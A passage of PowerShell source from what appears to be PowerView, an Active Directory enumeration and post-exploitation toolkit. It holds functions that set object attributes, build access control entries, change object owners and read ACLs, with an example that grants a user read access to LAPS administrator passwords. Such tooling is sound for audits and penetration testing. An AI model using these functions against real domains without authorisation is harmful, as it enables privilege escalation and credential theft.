   7394         $RawObject = Get-DomainObject @SearcherArguments
   7395 
   7396         ForEach ($Object in $RawObject) {
   7397 
   7398             $Entry = $RawObject.GetDirectoryEntry()
   7399 
   7400             if($PSBoundParameters['Set']) {
   7401                 try {
   7402                     $PSBoundParameters['Set'].GetEnumerator() | ForEach-Object {
   7403                         Write-Verbose "[Set-DomainObject] Setting '$($_.Name)' to '$($_.Value)' for object '$($RawObject.Properties.samaccountname)'"
   7404                         $Entry.put($_.Name, $_.Value)
   7405                     }
   7406                     $Entry.commitchanges()
   7407                 }
   7408                 catch {
   7409                     Write-Warning "[Set-DomainObject] Error setting/replacing properties for object '$($RawObject.Properties.samaccountname)' : $_"
   7410                 }
   7411             }
   7412             if($PSBoundParameters['XOR']) {
   7413                 try {
   7414                     $PSBoundParameters['XOR'].GetEnumerator() | ForEach-Object {
   7415                         $PropertyName = $_.Name
   7416                         $PropertyXorValue = $_.Value
   7417                         Write-Verbose "[Set-DomainObject] XORing '$PropertyName' with '$PropertyXorValue' for object '$($RawObject.Properties.samaccountname)'"
   7418                         $TypeName = $Entry.$PropertyName[0].GetType().name
   7419 
   7420                         # UAC value references- https://support.microsoft.com/en-us/kb/305144
   7421                         $PropertyValue = $($Entry.$PropertyName) -bxor $PropertyXorValue
   7422                         $Entry.$PropertyName = $PropertyValue -as $TypeName
   7423                     }
   7424                     $Entry.commitchanges()
   7425                 }
   7426                 catch {
   7427                     Write-Warning "[Set-DomainObject] Error XOR'ing properties for object '$($RawObject.Properties.samaccountname)' : $_"
   7428                 }
   7429             }
   7430             if($PSBoundParameters['Clear']) {
   7431                 try {
   7432                     $PSBoundParameters['Clear'] | ForEach-Object {
   7433                         $PropertyName = $_
   7434                         Write-Verbose "[Set-DomainObject] Clearing '$PropertyName' for object '$($RawObject.Properties.samaccountname)'"
   7435                         $Entry.$PropertyName.clear()
   7436                     }
   7437                     $Entry.commitchanges()
   7438                 }
   7439                 catch {
   7440                     Write-Warning "[Set-DomainObject] Error clearing properties for object '$($RawObject.Properties.samaccountname)' : $_"
   7441                 }
   7442             }
   7443         }
   7444     }
   7445 }
   7446 
   7447 
   7448 function ConvertFrom-LDAPLogonHours {
   7449 <#
   7450 .SYNOPSIS
   7451 
   7452 Converts the LDAP LogonHours array to a processible object.
   7453 
   7454 Author: Lee Christensen (@tifkin_)  
   7455 License: BSD 3-Clause  
   7456 Required Dependencies: None
   7457 
   7458 .DESCRIPTION
   7459 
   7460 Converts the LDAP LogonHours array to a processible object.  Each entry
   7461 property in the output object corresponds to a day of the week and hour during
   7462 the day (in UTC) indicating whether or not the user can logon at the specified
   7463 hour.
   7464 
   7465 .PARAMETER LogonHoursArray
   7466 
   7467 21-byte LDAP hours array.
   7468 
   7469 .EXAMPLE
   7470 
   7471 $hours = (Get-DomainUser -LDAPFilter 'userworkstations=*')[0].logonhours
   7472 ConvertFrom-LDAPLogonHours $hours
   7473 
   7474 Gets the logonhours array from the first AD user with logon restrictions.
   7475 
   7476 .OUTPUTS
   7477 
   7478 PowerView.LogonHours
   7479 #>
   7480 
   7481     [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')]
   7482     [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
   7483     [OutputType('PowerView.LogonHours')]
   7484     [CmdletBinding()]
   7485     Param (
   7486         [Parameter( ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
   7487         [ValidateNotNullOrEmpty()]
   7488         [byte[]]
   7489         $LogonHoursArray
   7490     )
   7491 
   7492     Begin {
   7493         if($LogonHoursArray.Count -ne 21) {
   7494             throw "LogonHoursArray is the incorrect length"
   7495         }
   7496 
   7497         function ConvertTo-LogonHoursArray {
   7498             Param (
   7499                 [int[]]
   7500                 $HoursArr
   7501             )
   7502 
   7503             $LogonHours = New-Object bool[] 24
   7504             for($i=0; $i -lt 3; $i++) {
   7505                 $Byte = $HoursArr[$i]
   7506                 $Offset = $i * 8
   7507                 $Str = [Convert]::ToString($Byte,2).PadLeft(8,'0')
   7508 
   7509                 $LogonHours[$Offset+0] = [bool] [convert]::ToInt32([string]$Str[7])
   7510                 $LogonHours[$Offset+1] = [bool] [convert]::ToInt32([string]$Str[6])
   7511                 $LogonHours[$Offset+2] = [bool] [convert]::ToInt32([string]$Str[5])
   7512                 $LogonHours[$Offset+3] = [bool] [convert]::ToInt32([string]$Str[4])
   7513                 $LogonHours[$Offset+4] = [bool] [convert]::ToInt32([string]$Str[3])
   7514                 $LogonHours[$Offset+5] = [bool] [convert]::ToInt32([string]$Str[2])
   7515                 $LogonHours[$Offset+6] = [bool] [convert]::ToInt32([string]$Str[1])
   7516                 $LogonHours[$Offset+7] = [bool] [convert]::ToInt32([string]$Str[0])
   7517             }
   7518 
   7519             $LogonHours
   7520         }
   7521     }
   7522 
   7523     Process {
   7524         $Output = @{
   7525             Sunday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[0..2]
   7526             Monday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[3..5]
   7527             Tuesday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[6..8]
   7528             Wednesday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[9..11]
   7529             Thurs = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[12..14]
   7530             Friday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[15..17]
   7531             Saturday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[18..20]
   7532         }
   7533 
   7534         $Output = New-Object PSObject -Property $Output
   7535         $Output.PSObject.TypeNames.Insert(0, 'PowerView.LogonHours')
   7536         $Output
   7537     }
   7538 }
   7539 
   7540 
   7541 function New-ADObjectAccessControlEntry {
   7542 <#
   7543 .SYNOPSIS
   7544 
   7545 Creates a new Active Directory object-specific access control entry.
   7546 
   7547 Author: Lee Christensen (@tifkin_)  
   7548 License: BSD 3-Clause  
   7549 Required Dependencies: None
   7550 
   7551 .DESCRIPTION
   7552 
   7553 Creates a new object-specific access control entry (ACE).  The ACE could be 
   7554 used for auditing access to an object or controlling access to objects.
   7555 
   7556 .PARAMETER PrincipalIdentity
   7557 
   7558 A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),
   7559 SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201)
   7560 for the domain principal to add for the ACL. Required. Wildcards accepted.
   7561 
   7562 .PARAMETER PrincipalDomain
   7563 
   7564 Specifies the domain for the TargetIdentity to use for the principal, defaults to the current domain.
   7565 
   7566 .PARAMETER PrincipalSearchBase
   7567 
   7568 The LDAP source to search through for principals, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
   7569 Useful for OU queries.
   7570 
   7571 .PARAMETER Server
   7572 
   7573 Specifies an Active Directory server (domain controller) to bind to.
   7574 
   7575 .PARAMETER SearchScope
   7576 
   7577 Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
   7578 
   7579 .PARAMETER ResultPageSize
   7580 
   7581 Specifies the PageSize to set for the LDAP searcher object.
   7582 
   7583 .PARAMETER ServerTimeLimit
   7584 
   7585 Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
   7586 
   7587 .PARAMETER Tombstone
   7588 
   7589 Switch. Specifies that the searcher should also return deleted/tombstoned objects.
   7590 
   7591 .PARAMETER Credential
   7592 
   7593 A [Management.Automation.PSCredential] object of alternate credentials
   7594 for connection to the target domain.
   7595 
   7596 .PARAMETER Right
   7597 
   7598 Specifies the rights set on the Active Directory object.
   7599 
   7600 .PARAMETER AccessControlType
   7601 
   7602 Specifies the type of ACE (allow or deny)
   7603 
   7604 .PARAMETER AuditFlag
   7605 
   7606 For audit ACEs, specifies when to create an audit log (on success or failure)
   7607 
   7608 .PARAMETER ObjectType
   7609 
   7610 Specifies the GUID of the object that the ACE applies to.
   7611 
   7612 .PARAMETER InheritanceType
   7613 
   7614 Specifies how the ACE applies to the object and/or its children.
   7615 
   7616 .PARAMETER InheritedObjectType
   7617 
   7618 Specifies the type of object that can inherit the ACE.
   7619 
   7620 .EXAMPLE
   7621 
   7622 $Guids = Get-DomainGUIDMap
   7623 $AdmPropertyGuid = $Guids.GetEnumerator() | ?{$_.value -eq 'ms-Mcs-AdmPwd'} | select -ExpandProperty name
   7624 $CompPropertyGuid = $Guids.GetEnumerator() | ?{$_.value -eq 'Computer'} | select -ExpandProperty name
   7625 $ACE = New-ADObjectAccessControlEntry -Verbose -PrincipalIdentity itadmin -Right ExtendedRight,ReadProperty -AccessControlType Allow -ObjectType $AdmPropertyGuid -InheritanceType All -InheritedObjectType $CompPropertyGuid
   7626 $OU = Get-DomainOU -Raw Workstations
   7627 $DsEntry = $OU.GetDirectoryEntry()
   7628 $dsEntry.PsBase.Options.SecurityMasks = 'Dacl'
   7629 $dsEntry.PsBase.ObjectSecurity.AddAccessRule($ACE)
   7630 $dsEntry.PsBase.CommitChanges()
   7631 
   7632 Adds an ACE to all computer objects in the OU "Workstations" permitting the
   7633 user "itadmin" to read the confidential ms-Mcs-AdmPwd computer property.
   7634 
   7635 .OUTPUTS
   7636 
   7637 System.Security.AccessControl.AuthorizationRule
   7638 #>
   7639 
   7640     [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')]
   7641     [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
   7642     [OutputType('System.Security.AccessControl.AuthorizationRule')]
   7643     [CmdletBinding()]
   7644     Param (
   7645         [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True, Mandatory = $True)]
   7646         [Alias('DistinguishedName', 'SamAccountName', 'Name')]
   7647         [String]
   7648         $PrincipalIdentity,
   7649 
   7650         [ValidateNotNullOrEmpty()]
   7651         [String]
   7652         $PrincipalDomain,
   7653 
   7654         [ValidateNotNullOrEmpty()]
   7655         [Alias('DomainController')]
   7656         [String]
   7657         $Server,
   7658 
   7659         [ValidateSet('Base', 'OneLevel', 'Subtree')]
   7660         [String]
   7661         $SearchScope = 'Subtree',
   7662 
   7663         [ValidateRange(1, 10000)]
   7664         [Int]
   7665         $ResultPageSize = 200,
   7666 
   7667         [ValidateRange(1, 10000)]
   7668         [Int]
   7669         $ServerTimeLimit,
   7670 
   7671         [Switch]
   7672         $Tombstone,
   7673 
   7674         [Management.Automation.PSCredential]
   7675         [Management.Automation.CredentialAttribute()]
   7676         $Credential = [Management.Automation.PSCredential]::Empty,
   7677 
   7678         [Parameter(Mandatory = $True)]
   7679         [ValidateSet('AccessSystemSecurity', 'CreateChild','Delete','DeleteChild','DeleteTree','ExtendedRight','GenericAll','GenericExecute','GenericRead','GenericWrite','ListChildren','ListObject','ReadControl','ReadProperty','Self','Synchronize','WriteDacl','WriteOwner','WriteProperty')]
   7680         $Right,
   7681 
   7682         [Parameter(Mandatory = $True, ParameterSetName='AccessRuleType')]
   7683         [ValidateSet('Allow', 'Deny')]
   7684         [String[]]
   7685         $AccessControlType,
   7686 
   7687         [Parameter(Mandatory = $True, ParameterSetName='AuditRuleType')]
   7688         [ValidateSet('Success', 'Failure')]
   7689         [String]
   7690         $AuditFlag,
   7691 
   7692         [Parameter(Mandatory = $False, ParameterSetName='AccessRuleType')]
   7693         [Parameter(Mandatory = $False, ParameterSetName='AuditRuleType')]
   7694         [Parameter(Mandatory = $False, ParameterSetName='ObjectGuidLookup')]
   7695         [Guid]
   7696         $ObjectType,
   7697 
   7698         [ValidateSet('All', 'Children','Descendents','None','SelfAndChildren')]
   7699         [String]
   7700         $InheritanceType,
   7701 
   7702         [Guid]
   7703         $InheritedObjectType
   7704     )
   7705 
   7706     Begin {
   7707         if ($PrincipalIdentity -notmatch '^S-1-.*') {
   7708             $PrincipalSearcherArguments = @{
   7709                 'Identity' = $PrincipalIdentity
   7710                 'Properties' = 'distinguishedname,objectsid'
   7711             }
   7712             if ($PSBoundParameters['PrincipalDomain']) { $PrincipalSearcherArguments['Domain'] = $PrincipalDomain }
   7713             if ($PSBoundParameters['Server']) { $PrincipalSearcherArguments['Server'] = $Server }
   7714             if ($PSBoundParameters['SearchScope']) { $PrincipalSearcherArguments['SearchScope'] = $SearchScope }
   7715             if ($PSBoundParameters['ResultPageSize']) { $PrincipalSearcherArguments['ResultPageSize'] = $ResultPageSize }
   7716             if ($PSBoundParameters['ServerTimeLimit']) { $PrincipalSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
   7717             if ($PSBoundParameters['Tombstone']) { $PrincipalSearcherArguments['Tombstone'] = $Tombstone }
   7718             if ($PSBoundParameters['Credential']) { $PrincipalSearcherArguments['Credential'] = $Credential }
   7719             $Principal = Get-DomainObject @PrincipalSearcherArguments
   7720             if (-not $Principal) {
   7721                 throw "Unable to resolve principal: $PrincipalIdentity"
   7722             }
   7723             elseif($Principal.Count -gt 1) {
   7724                 throw "PrincipalIdentity matches multiple AD objects, but only one is allowed"
   7725             }
   7726             $ObjectSid = $Principal.objectsid
   7727         }
   7728         else {
   7729             $ObjectSid = $PrincipalIdentity
   7730         }
   7731 
   7732         $ADRight = 0
   7733         foreach($r in $Right) {
   7734             $ADRight = $ADRight -bor (([System.DirectoryServices.ActiveDirectoryRights]$r).value__)
   7735         }
   7736         $ADRight = [System.DirectoryServices.ActiveDirectoryRights]$ADRight
   7737 
   7738         $Identity = [System.Security.Principal.IdentityReference] ([System.Security.Principal.SecurityIdentifier]$ObjectSid)
   7739     }
   7740 
   7741     Process {
   7742         if($PSCmdlet.ParameterSetName -eq 'AuditRuleType') {
   7743 
   7744             if($ObjectType -eq $null -and $InheritanceType -eq [String]::Empty -and $InheritedObjectType -eq $null) {
   7745                 New-Object System.DirectoryServices.ActiveDirectoryAuditRule -ArgumentList $Identity, $ADRight, $AuditFlag
   7746             } elseif($ObjectType -eq $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectType -eq $null) {
   7747                 New-Object System.DirectoryServices.ActiveDirectoryAuditRule -ArgumentList $Identity, $ADRight, $AuditFlag, ([System.DirectoryServices.ActiveDirectorySecurityInheritance]$InheritanceType)
   7748             } elseif($ObjectType -eq $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectType -ne $null) {
   7749                 New-Object System.DirectoryServices.ActiveDirectoryAuditRule -ArgumentList $Identity, $ADRight, $AuditFlag, ([System.DirectoryServices.ActiveDirectorySecurityInheritance]$InheritanceType), $InheritedObjectType
   7750             } elseif($ObjectType -ne $null -and $InheritanceType -eq [String]::Empty -and $InheritedObjectType -eq $null) {
   7751                 New-Object System.DirectoryServices.ActiveDirectoryAuditRule -ArgumentList $Identity, $ADRight, $AuditFlag, $ObjectType
   7752             } elseif($ObjectType -ne $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectType -eq $null) {
   7753                 New-Object System.DirectoryServices.ActiveDirectoryAuditRule -ArgumentList $Identity, $ADRight, $AuditFlag, $ObjectType, $InheritanceType
   7754             } elseif($ObjectType -ne $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectType -ne $null) {
   7755                 New-Object System.DirectoryServices.ActiveDirectoryAuditRule -ArgumentList $Identity, $ADRight, $AuditFlag, $ObjectType, $InheritanceType, $InheritedObjectType
   7756             }
   7757 
   7758         }
   7759         else {
   7760 
   7761             if($ObjectType -eq $null -and $InheritanceType -eq [String]::Empty -and $InheritedObjectType -eq $null) {
   7762                 New-Object System.DirectoryServices.ActiveDirectoryAccessRule -ArgumentList $Identity, $ADRight, $AccessControlType
   7763             } elseif($ObjectType -eq $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectType -eq $null) {
   7764                 New-Object System.DirectoryServices.ActiveDirectoryAccessRule -ArgumentList $Identity, $ADRight, $AccessControlType, ([System.DirectoryServices.ActiveDirectorySecurityInheritance]$InheritanceType)
   7765             } elseif($ObjectType -eq $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectType -ne $null) {
   7766                 New-Object System.DirectoryServices.ActiveDirectoryAccessRule -ArgumentList $Identity, $ADRight, $AccessControlType, ([System.DirectoryServices.ActiveDirectorySecurityInheritance]$InheritanceType), $InheritedObjectType
   7767             } elseif($ObjectType -ne $null -and $InheritanceType -eq [String]::Empty -and $InheritedObjectType -eq $null) {
   7768                 New-Object System.DirectoryServices.ActiveDirectoryAccessRule -ArgumentList $Identity, $ADRight, $AccessControlType, $ObjectType
   7769             } elseif($ObjectType -ne $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectType -eq $null) {
   7770                 New-Object System.DirectoryServices.ActiveDirectoryAccessRule -ArgumentList $Identity, $ADRight, $AccessControlType, $ObjectType, $InheritanceType
   7771             } elseif($ObjectType -ne $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectType -ne $null) {
   7772                 New-Object System.DirectoryServices.ActiveDirectoryAccessRule -ArgumentList $Identity, $ADRight, $AccessControlType, $ObjectType, $InheritanceType, $InheritedObjectType
   7773             }
   7774 
   7775         }
   7776     }
   7777 }
   7778 
   7779 
   7780 function Set-DomainObjectOwner {
   7781 <#
   7782 .SYNOPSIS
   7783 
   7784 Modifies the owner for a specified active directory object.
   7785 
   7786 Author: Will Schroeder (@harmj0y)  
   7787 License: BSD 3-Clause  
   7788 Required Dependencies: Get-DomainObject  
   7789 
   7790 .DESCRIPTION
   7791 
   7792 Retrieves the Active Directory object specified by -Identity by splatting to
   7793 Get-DomainObject, returning the raw searchresult object. Retrieves the raw
   7794 directoryentry for the object, and sets the object owner to -OwnerIdentity.
   7795 
   7796 .PARAMETER Identity
   7797 
   7798 A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),
   7799 SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201)
   7800 of the AD object to set the owner for.
   7801 
   7802 .PARAMETER OwnerIdentity
   7803 
   7804 A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),
   7805 SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201)
   7806 of the owner to set for -Identity.
   7807 
   7808 .PARAMETER Domain
   7809 
   7810 Specifies the domain to use for the query, defaults to the current domain.
   7811 
   7812 .PARAMETER LDAPFilter
   7813 
   7814 Specifies an LDAP query string that is used to filter Active Directory objects.
   7815 
   7816 .PARAMETER SearchBase
   7817 
   7818 The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
   7819 Useful for OU queries.
   7820 
   7821 .PARAMETER Server
   7822 
   7823 Specifies an Active Directory server (domain controller) to bind to.
   7824 
   7825 .PARAMETER SearchScope
   7826 
   7827 Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
   7828 
   7829 .PARAMETER ResultPageSize
   7830 
   7831 Specifies the PageSize to set for the LDAP searcher object.
   7832 
   7833 .PARAMETER ServerTimeLimit
   7834 
   7835 Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
   7836 
   7837 .PARAMETER Tombstone
   7838 
   7839 Switch. Specifies that the searcher should also return deleted/tombstoned objects.
   7840 
   7841 .PARAMETER Credential
   7842 
   7843 A [Management.Automation.PSCredential] object of alternate credentials
   7844 for connection to the target domain.
   7845 
   7846 .EXAMPLE
   7847 
   7848 Set-DomainObjectOwner -Identity dfm -OwnerIdentity harmj0y
   7849 
   7850 Set the owner of 'dfm' in the current domain to 'harmj0y'.
   7851 
   7852 .EXAMPLE
   7853 
   7854 $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
   7855 $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
   7856 Set-DomainObjectOwner -Identity dfm -OwnerIdentity harmj0y -Credential $Cred
   7857 
   7858 Set the owner of 'dfm' in the current domain to 'harmj0y' using the alternate credentials.
   7859 #>
   7860 
   7861     [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')]
   7862     [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
   7863     [CmdletBinding()]
   7864     Param(
   7865         [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
   7866         [Alias('DistinguishedName', 'SamAccountName', 'Name')]
   7867         [String]
   7868         $Identity,
   7869 
   7870         [Parameter(Mandatory = $True)]
   7871         [ValidateNotNullOrEmpty()]
   7872         [Alias('Owner')]
   7873         [String]
   7874         $OwnerIdentity,
   7875 
   7876         [ValidateNotNullOrEmpty()]
   7877         [String]
   7878         $Domain,
   7879 
   7880         [ValidateNotNullOrEmpty()]
   7881         [Alias('Filter')]
   7882         [String]
   7883         $LDAPFilter,
   7884 
   7885         [ValidateNotNullOrEmpty()]
   7886         [Alias('ADSPath')]
   7887         [String]
   7888         $SearchBase,
   7889 
   7890         [ValidateNotNullOrEmpty()]
   7891         [Alias('DomainController')]
   7892         [String]
   7893         $Server,
   7894 
   7895         [ValidateSet('Base', 'OneLevel', 'Subtree')]
   7896         [String]
   7897         $SearchScope = 'Subtree',
   7898 
   7899         [ValidateRange(1, 10000)]
   7900         [Int]
   7901         $ResultPageSize = 200,
   7902 
   7903         [ValidateRange(1, 10000)]
   7904         [Int]
   7905         $ServerTimeLimit,
   7906 
   7907         [Switch]
   7908         $Tombstone,
   7909 
   7910         [Management.Automation.PSCredential]
   7911         [Management.Automation.CredentialAttribute()]
   7912         $Credential = [Management.Automation.PSCredential]::Empty
   7913     )
   7914 
   7915     BEGIN {
   7916         $SearcherArguments = @{}
   7917         if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
   7918         if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $LDAPFilter }
   7919         if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
   7920         if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
   7921         if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
   7922         if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
   7923         if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
   7924         if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
   7925         if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
   7926 
   7927         $OwnerSid = Get-DomainObject @SearcherArguments -Identity $OwnerIdentity -Properties objectsid | Select-Object -ExpandProperty objectsid
   7928         if ($OwnerSid) {
   7929             $OwnerIdentityReference = [System.Security.Principal.SecurityIdentifier]$OwnerSid
   7930         }
   7931         else {
   7932             Write-Warning "[Set-DomainObjectOwner] Error parsing owner identity '$OwnerIdentity'"
   7933         }
   7934     }
   7935 
   7936     PROCESS {
   7937         if ($OwnerIdentityReference) {
   7938             $SearcherArguments['Raw'] = $True
   7939             $SearcherArguments['Identity'] = $Identity
   7940 
   7941             # splat the appropriate arguments to Get-DomainObject
   7942             $RawObject = Get-DomainObject @SearcherArguments
   7943 
   7944             ForEach ($Object in $RawObject) {
   7945                 try {
   7946                     Write-Verbose "[Set-DomainObjectOwner] Attempting to set the owner for '$Identity' to '$OwnerIdentity'"
   7947                     $Entry = $RawObject.GetDirectoryEntry()
   7948                     $Entry.PsBase.Options.SecurityMasks = 'Owner'
   7949                     $Entry.PsBase.ObjectSecurity.SetOwner($OwnerIdentityReference)
   7950                     $Entry.PsBase.CommitChanges()
   7951                 }
   7952                 catch {
   7953                     Write-Warning "[Set-DomainObjectOwner] Error setting owner: $_"
   7954                 }
   7955             }
   7956         }
   7957     }
   7958 }
   7959 
   7960 
   7961 function Get-DomainObjectAcl {
   7962 <#
   7963 .SYNOPSIS
   7964 
   7965 Returns the ACLs associated with a specific active directory object. By default
   7966 the DACL for the object(s) is returned, but the SACL can be returned with -Sacl.
   7967 
   7968 Author: Will Schroeder (@harmj0y)  
   7969 License: BSD 3-Clause  
   7970 Required Dependencies: Get-DomainSearcher, Get-DomainGUIDMap  
   7971 
   7972 .PARAMETER Identity
   7973 
   7974 A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),
   7975 SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201).
   7976 Wildcards accepted.
   7977 
   7978 .PARAMETER Sacl
   7979 
   7980 Switch. Return the SACL instead of the DACL for the object (default behavior).
   7981 
   7982 .PARAMETER ResolveGUIDs
   7983 
   7984 Switch. Resolve GUIDs to their display names.
   7985 
   7986 .PARAMETER RightsFilter
   7987 
   7988 A specific set of rights to return ('All', 'ResetPassword', 'WriteMembers').
   7989 
   7990 .PARAMETER Domain
   7991 
   7992 Specifies the domain to use for the query, defaults to the current domain.
   7993 
   7994 .PARAMETER LDAPFilter
   7995 
   7996 Specifies an LDAP query string that is used to filter Active Directory objects.
   7997 
   7998 .PARAMETER SearchBase
   7999 
   8000 The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
   8001 Useful for OU queries.
   8002 
   8003 .PARAMETER Server
   8004 
   8005 Specifies an Active Directory server (domain controller) to bind to.
   8006 
   8007 .PARAMETER SearchScope
   8008 
   8009 Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
   8010 
   8011 .PARAMETER ResultPageSize
   8012 
   8013 Specifies the PageSize to set for the LDAP searcher object.
   8014 
   8015 .PARAMETER ServerTimeLimit
   8016 
   8017 Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
   8018 
   8019 .PARAMETER Tombstone
   8020 
   8021 Switch. Specifies that the searcher should also return deleted/tombstoned objects.
   8022 
   8023 .PARAMETER Credential
   8024 
   8025 A [Management.Automation.PSCredential] object of alternate credentials
   8026 for connection to the target domain.
   8027 
   8028 .EXAMPLE
   8029 
   8030 Get-DomainObjectAcl -Identity matt.admin -domain testlab.local -ResolveGUIDs
   8031 
   8032 Get the ACLs for the matt.admin user in the testlab.local domain and
   8033 resolve relevant GUIDs to their display names.
   8034 
   8035 .EXAMPLE
   8036 
   8037 Get-DomainOU | Get-DomainObjectAcl -ResolveGUIDs
   8038 
   8039 Enumerate the ACL permissions for all OUs in the domain.
   8040 
   8041 .EXAMPLE
   8042 
   8043 Get-DomainOU | Get-DomainObjectAcl -ResolveGUIDs -Sacl
   8044 
   8045 Enumerate the SACLs for all OUs in the domain, resolving GUIDs.
   8046 
   8047 .EXAMPLE
   8048 
   8049 $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
   8050 $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
   8051 Get-DomainObjectAcl -Credential $Cred -ResolveGUIDs
   8052 
   8053 .OUTPUTS
   8054 
   8055 PowerView.ACL
   8056 
   8057 Custom PSObject with ACL entries.
   8058 #>
   8059 
   8060     [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
   8061     [OutputType('PowerView.ACL')]
   8062     [CmdletBinding()]
   8063     Param (
   8064         [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
   8065         [Alias('DistinguishedName', 'SamAccountName', 'Name')]
   8066         [String[]]
   8067         $Identity,
   8068 
   8069         [Switch]
   8070         $Sacl,
   8071 
   8072         [Switch]
   8073         $ResolveGUIDs,
   8074 
   8075         [String]
   8076         [Alias('Rights')]
   8077         [ValidateSet('All', 'ResetPassword', 'WriteMembers')]
   8078         $RightsFilter,
   8079 
   8080         [ValidateNotNullOrEmpty()]
   8081         [String]
   8082         $Domain,
   8083 
   8084         [ValidateNotNullOrEmpty()]
   8085         [Alias('Filter')]
   8086         [String]
   8087         $LDAPFilter,
   8088 
   8089         [ValidateNotNullOrEmpty()]
   8090         [Alias('ADSPath')]
   8091         [String]
   8092         $SearchBase,
   8093 
   8094         [ValidateNotNullOrEmpty()]
   8095         [Alias('DomainController')]
   8096         [String]
   8097         $Server,
   8098 
   8099         [ValidateSet('Base', 'OneLevel', 'Subtree')]
   8100         [String]
   8101         $SearchScope = 'Subtree',
   8102 
   8103         [ValidateRange(1, 10000)]
   8104         [Int]
   8105         $ResultPageSize = 200,
   8106 
   8107         [ValidateRange(1, 10000)]
   8108         [Int]
   8109         $ServerTimeLimit,
   8110 
   8111         [Switch]
   8112         $Tombstone,
   8113 
   8114         [Management.Automation.PSCredential]
   8115         [Management.Automation.CredentialAttribute()]
   8116         $Credential = [Management.Automation.PSCredential]::Empty
   8117     )
   8118 
   8119     BEGIN {
   8120         $SearcherArguments = @{
   8121             'Properties' = 'samaccountname,ntsecuritydescriptor,distinguishedname,objectsid'
   8122         }
   8123 
   8124         if ($PSBoundParameters['Sacl']) {
   8125             $SearcherArguments['SecurityMasks'] = 'Sacl'
   8126         }
   8127         else {
   8128             $SearcherArguments['SecurityMasks'] = 'Dacl'
   8129         }
   8130         if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
   8131         if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
   8132         if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
   8133         if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
   8134         if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
